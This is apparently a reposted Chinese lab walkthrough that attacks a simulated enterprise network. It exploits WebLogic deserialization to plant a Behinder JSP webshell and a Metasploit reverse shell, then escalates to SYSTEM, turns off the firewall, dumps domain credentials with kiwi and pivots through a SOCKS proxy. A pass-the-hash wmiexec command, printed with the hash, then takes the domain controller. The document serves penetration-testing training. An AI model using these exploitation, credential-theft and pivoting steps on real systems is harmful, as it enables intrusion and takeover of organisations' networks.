当前位置: 首页 > article >正文

渗透测试综合实验(迂回渗透,入侵企业内网并将其控制为僵尸网络)

第1节 实验概述

1.1 实验背景概述

本实验为模拟真实企业环境搭建的漏洞靶场,通过网络入侵Web服务器,拿到控制权限后发现有内网网段,建立隧道做内网穿透,接着进一步扫描内网主机,并进行漏洞利用,最终通过域渗透获取域控制器主机权限。本实验拓扑规划如下图所示:

 拓扑描述:实验拓扑整体分为外网、企业网络(DMZ区、内网区域),Web服务器部署在DMZ区域,提供Web服务给互联网用户访问,在内网区域通过部署域的方式实现企业员工主机的管理。

实验目的:了解域在企业内网安全防护的重要性。通过对企业内网的整体性渗透测试,包括信息收集、漏洞扫描、漏洞利用、内网穿透、域内信息收集、域内权限提升等流程,让读者加深对内网渗透的理解,掌握渗透测试的常用方法与技巧,最终能将所学知识与技能灵活运用到实际工作当中。

1.2 实验环境及实验工具要求

实验环境:

本实验环境通过VMware Workstation 15.5.6建立,通过NAT模式及仅主机模式来模拟企业外网与内网,具体网段分配如下所示:

内网网段:10.10.10.0/24

DMZ网段:192.168.200.0/24

本实验共5台实验机器,IP配置信息如下:

DC(域控制器):

(内网)IP10.10.10.10

WEB(Web服务器):

(内网)IP110.10.10.80

(外网)IP2192.168.200.203

PC(域内主机):

(内网)IP110.10.10.201

(外网)IP2192.168.200.206

攻击机

(外网)IP192.168.200.158(Windows攻击机)

(外网)IP192.168.200.207(Kali攻击机)

环境说明:

本实验所有机器登录密码均为:Test@1234

实验工具:

Nmap(网络探测工具)

WeblogicScan(Weblogic漏洞扫描工具)

Java反序列化终极测试工具

Metasploit(安全漏洞检测工具)

Behinder冰蝎(WebShell综合管理工具)

火狐浏览器

第2节 实验过程

2.1 环境准备

2.1.1 用到的渗透知识

  1. 配置基本网络
  2. 开启Web服务

2.1.2 对应的渗透步骤

1.配置网络

在实验机器中,已经将内网IP地址设置完毕,因此只需要在VMware workstation中设置虚拟网络,单击左上角“编辑”->“虚拟网络编辑器”。

 

在虚拟网络编辑器中,将VMnet1虚拟网卡的网段设置为内网网段:10.10.10.0/24。

 将VMnet8虚拟网卡的网段设置为外网网段:192.168.200.0/24。

 2.查看网络配置情况

在DC主机中,通过TEST\administrator用户登录。

 在CMD中查看IP配置情况。

 在WEB主机中,通过WEB\administrator用户登录。

 在CMD中查看IP配置情况。

 在PC主机中,通过TEST\testuser001用户登录。

 在CMD中查看IP配置情况。

3.开启Web服务

    在实验开始之前,需要在WEB主机中开启Web服务,以满足后续步骤的需求。进入WEB主机的“C:\Oracle\Middleware\user_projects\domains\base_domain\”文件夹,以管理员身份运行:startWeblogic.cmd文件。

运行之后,在弹窗的执行窗口看到如下内容,说明服务运行成功。(注意:此窗口不能关闭,最小化即可。)

 2.1.3 渗透结果

   进入Kali攻击机(账号:root密码:Test@1234),打开浏览器访问Web服务地址,若出现以下界面,则说明环境配置成功。

2.2 信息收集

2.2.1 用到的渗透知识

  1. Nmap探测系统指纹、开放端口技巧
  2. WeblogicScan工具探测漏洞

2.2.2 对应的渗透步骤

1.通过Nmap探测Web服务器系统指纹、开放端口等信息

在Kali终端执行:nmap -sV -O 192.168.200.203

探测端口服务:nmap -Pn -A -T4 192.168.200.203

根据以上扫描结果,发现Web服务器开放了很多常用端口。部分端口可能存在漏洞,具体如下:

445端口:开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞;

7001端口:说明存在weblogic服务,可能存在反序列化、SSRF、任意文件上传、后台路径泄露;

139端口:说明存在Samba服务,可能存在爆破、未授权访问、远程命令执行等漏洞;

1433端口:说明存在MSSQL服务,可能存在爆破、注入、SA弱口令等漏洞;

3389端口:说明存在远程桌面。

2.Web漏洞探测

使用WeblogicScan工具扫描Web服务器。进入/root目录,查看WeblogicScan工具并将工具解压。

 

进入WeblogicScan目录,执行命令扫描漏洞。

2.2.3 渗透结果

  经过脚本探测,发现目标服务器的后台地址,并且该脚本会尝试爆破登录密码,但是由于字典限制,爆破未能成功。

同时,发现存在Java反序列化漏洞,包括如下几个漏洞:

CVE-2017-3506 漏洞

CVE-2019-2725 漏洞

CVE-2019-2729 漏洞

2.3 漏洞利用获得Webshell

2.3.1 用到的渗透知识

  1. 冰蝎马Webshell的获取方法
  2. MSF-Webshell的获取方法
  3. 主机信息的收集方法
  4. 权限提升方法

2.3.2 对应的渗透步骤

1.方式一:上传冰蝎马获取Webshell

在Windows攻击机中,进入桌面的“Java反序列化终极测试工具”文件夹,在当前文件夹打开CMD,并执行:java -jar DeserializeExploit.jar

 打开工具后,选择对应中间件类型,并填写地址,最后单击“获取信息”。

 能够获取目标信息,说明漏洞已经成功利用。此时,切换到“执行命令”,查看当前用户权限。

 根据上图可知,当前用户权限为administrator。此时,利用这个工具上传冰蝎马,获取更

加强大的Webshell。

在Windows攻击机,进入桌面的“冰蝎_v4.0.6\server”文件夹,打开shell_java9.jsp木马文件,并将代码内容复制下来。

在Java反序列化终极测试工具中,将代码写入到shell3.jsp并上传至如下路径:

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell3.jsp

在浏览器访问如下地址,确认木马是否成功上传并解析:

http://192.168.200.203:7001/console/framework/skins/wlsconsole/images/shell3.jsp

页面显示空白说明解析成功。

打开冰蝎工具。

在空白处新增链接,填入对应内容并保存。

右键打开链接,页面会自动加载连接。

若页面显示“已连接”,则说明Webshell获取成功。

 此时可以在冰蝎进行进一步渗透利用,功能包括:命令执行、虚拟终端、文件管理、内网穿透、反弹shell数据库管理等。

2.方式二:上传MSF木马获取Webshell

通过msfvenom生成php木马文件,并保存到/var/www/html/目录下。   

启动apache服务。

 在Windows攻击机,访问Kali木马地址。

将木马内容复制到Java反序列化终极测试工具,并提交上传。

 在Kali监听反弹的Webshell。

通过浏览器访问上传到Web服务器的木马文件。

回到Kali,可以看到Webshell已经成功反弹过来。

3.获取主机信息

在Meterpreter-Shell中,查看当前shell信息及用户权限。

 执行:shell命令,进入目标主机CMD界面,若出现乱码,则在CMD界面执行:chcp 65001解决乱码问题。

 查看网络配置信息。

查看操作系统及版本信息

查看系统服务安装及运行情况。

查看启动程序信息

查看防火墙状态。可以看到防火墙为开启状态。

查看系统补丁信息。

4.提升权限

回到Meterpreter-Shell,执行ps查看进程。

 通过getpid查看当前shell的进程号。

可以看到这个进程很容易被发现,需要进一步隐藏。

将进程迁移到SYSTEM权限的进程:services

注:services.exe是微软windows操作系统的一部分,用于管理启动和停止服务。

执行migrate 468进行迁移。

 进程迁移后直接变成SYSTEM权限。

 关闭防火墙。

加载mimikatz,在新版MSF中mimikatz已经被kiwi替代。

执行: load kiwi

kiwi常用指令如下表所示:

常用命令

说明

creds_all

列举所有凭据

creds_kerberos

列举所有kerberos凭据

creds_msv

列举所有msv凭据

creds_ssp

列举所有ssp凭据

creds_tspkg

列举所有tspkg凭据

creds_wdigest

列举所有wdigest凭据

2.3.3 渗透结果

通过上传MSF木马成功获取到Webshell,并通过提权成功得到域账号及密码等信息。

执行:creds指令获取域内账号明文信息。

2.4 内网渗透

2.4.1 用到的渗透知识

  1. 域内信息收集方法
  2. 内网流量代理方法
  3. 域内主机权限的获取方法
  4. 域控制器权限获取方法

2.4.2 对应的渗透步骤

1.WEB主机内网信息收集

在前面步骤中,已经得知WEB服务器存在一个内网网段:10.10.10.0/24

在CMD界面,继续收集域内信息。

执行:net config workstation //查看当前计算机名,用户名,系统版本,工作站域,登陆的域等

 若提示如上报错,则执行:ipconfig /all也能看到域的信息,最终得到工作域为:test.com

 执行:net user /domain  //查看域内用户

 执行:net group /domain  //查看域用户组列表

 执行:net group "domain computers" /domain   //查看域内所有机器,可以看到目前有2台域内主机。

执行:net group "domain controllers" /domain   //查看域控制器组,可以看到域控制器主机名为:DC

执行:net group "Enterprise Admins" /domain   //查看域管理员,可以看到管理员为:Administrator

利用auxiliary/scanner/smb/smb_version 模块探测内网存活主机。

 由于未进行内网漫游,因此最终只能得到WEB服务器的内网IP、操作系统版本及主机名等信息。

2.建立域内连接(内网穿透)

回到Meterpreter-Shell,执行:run post/windows/gather/enum_domain   //查看域控制器IP

得到域控为:DC.test.com,IP为:10.10.10.10

执行:run post/multi/manage/autoroute   //添加内网路由

 查看路由。

挂起当前session。

通过auxiliary/server/socks_proxy模块建立反向代理。

修改/etc/proxychains4.conf代理配置文件,在最后一行将IP修改为:127.0.0.1,端口修改为:1080

3.其他主机内网信息收集

此时,在Meterpreter-shell执行:run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 进行域内存活主机探测。

根据上面探测结果,还有一台IP为10.10.10.201的机器是未知状态。

利用auxiliary/scanner/smb/smb_version模块进行探测。

最终成功探测,得到目标主机为:Windows 7 sp1操作系统。

4.获取域内主机权限

通过Nmap进行防火墙探测。

执行:proxychains4 nmap -Pn -sF 10.10.10.201

进一步通过Nmap进行端口和服务探测。

执行:

proxychains4 nmap -Pn -sS -T4 -sV -p21,22,53,80,135,445,1433,3389,8080 10.10.10.201

根据前面的探测结果,验证是否存在MS17-010漏洞。

利用auxiliary/scanner/smb/smb_ms17_010模块进行探测是否存在漏洞。

确认漏洞存在后,通过psexec模块进行漏洞利用。

 执行exploit之后,没有返回监听,漏洞利用失败。

 因为前面已经通过kiwi获得了域管理账号的hash值,所以,此时可使用wmicexec.py进行漏洞利用。

执行:

proxychains4 /root/wmiexec.py -hashes 00000000000000000000000000000000:b6e259e4e96f44d98ab6eeaa3b328ed7 Administrator@10.10.10.201

最终还是利用失败。

5.获取域控制器权限

由于前面步骤无法正常获取域内主机权限,因此,先考虑尝试获取域控制器权限,最后再通过域控制器获取域内主机控制权限。

通过Nmap进行端口和服务探测。

执行:

proxychains4 nmap -Pn -sS -T4 -sV -p21,22,53,80,135,445,1433,3389,8080 10.10.10.10

发现同样开放了445端口。

和2.4.4步骤一样,尝试通过wmicexec.py进行漏洞利用。

执行如下命令:

proxychains4 /root/wmiexec.py -hashes 00000000000000000000000000000000:b6e259e4e96f44d98ab6eeaa3b328ed7 Administrator@10.10.10.10

可以看到,最终成功拿到域控制器管理员权限。

查看域控制器是否开启防火墙。

由于乱码问题,无法确定防火墙开启与否。

此时,需要考虑换一种方式获取shell,可参考2.4.4的方式进行shell的获取,例如:使用

最终成功获得反弹的shell,并获得SYSTEM最高控制权限。

 进入域控制器CMD-shell,查看防火墙是否开启。

 根据上图可知,防火墙为开启状态,此时需要关闭防火墙。

查看是否开启远程桌面。

 2.4.3 渗透结果

1.通过域内横向渗透,最终成功获得域控制器和域内主机管理权限。执行如下命令,远程登录域控制器:

proxychains4 rdesktop 10.10.10.10

 在远程登录界面,选择“其他用户”,然后填写前面获取的域管理员账号及密码进行登录。

 成功进入域控制器。

此时,将域控制器作为跳板机,可以直接远程登录到域内主机(PC)。

在域控制器打开远程桌面。

填写账号及密码。

注:若一直处于连接状态,则关闭重新建立连接。

 成功登录PC域内主机。

环境链接:https://pan.baidu.com/s/1bEDIorNu4BLd8fu4aXxbFw 

需要的私信我


http://www.kler.cn/a/7463.html

相关文章:

  • Chrome 浏览器开启打印模式
  • ubuntu将firewall-config导出为.deb文件
  • RHCE的学习(20)
  • 【eNSP】企业网络架构实验——vlan间的路由通信(三)
  • core 文件
  • java算法性能调优:详尽探讨时间复杂度与空间复杂度的分析与优化“
  • MySQL用户与权限管理
  • InnoDB 是如何解决幻读的
  • Java方法
  • 优秀测试工程师必须掌握的关系型和非关系型数据库
  • python之socket模块
  • 【Java Web】009 -- MyBatis(入门 增删改查 动态SQL)
  • 【Redis学习】Redis10大数据类型
  • Java并发编程(4) —— Java 内存模型(JMM)详解
  • 勒索软件正在从 Windows 转向 Linux
  • C++ setsockopt() 函数
  • thymeleaf radio 获取及回显
  • 【Python】九十条简单py技巧打包(仅此一次哦)
  • 统一结果封装异常处理
  • 基于Pytorch的可视化工具
  • 手写一个llvm的mem2reg pass
  • chatGPT的未来应用有哪些-ChatGPT对未来工作的影响
  • 网络安全书籍推荐+网络安全面试题合集
  • 2023年五一数学建模竞赛来袭
  • MongoDB 查询文档(1)
  • 浅谈JVM(五):虚拟机栈帧结构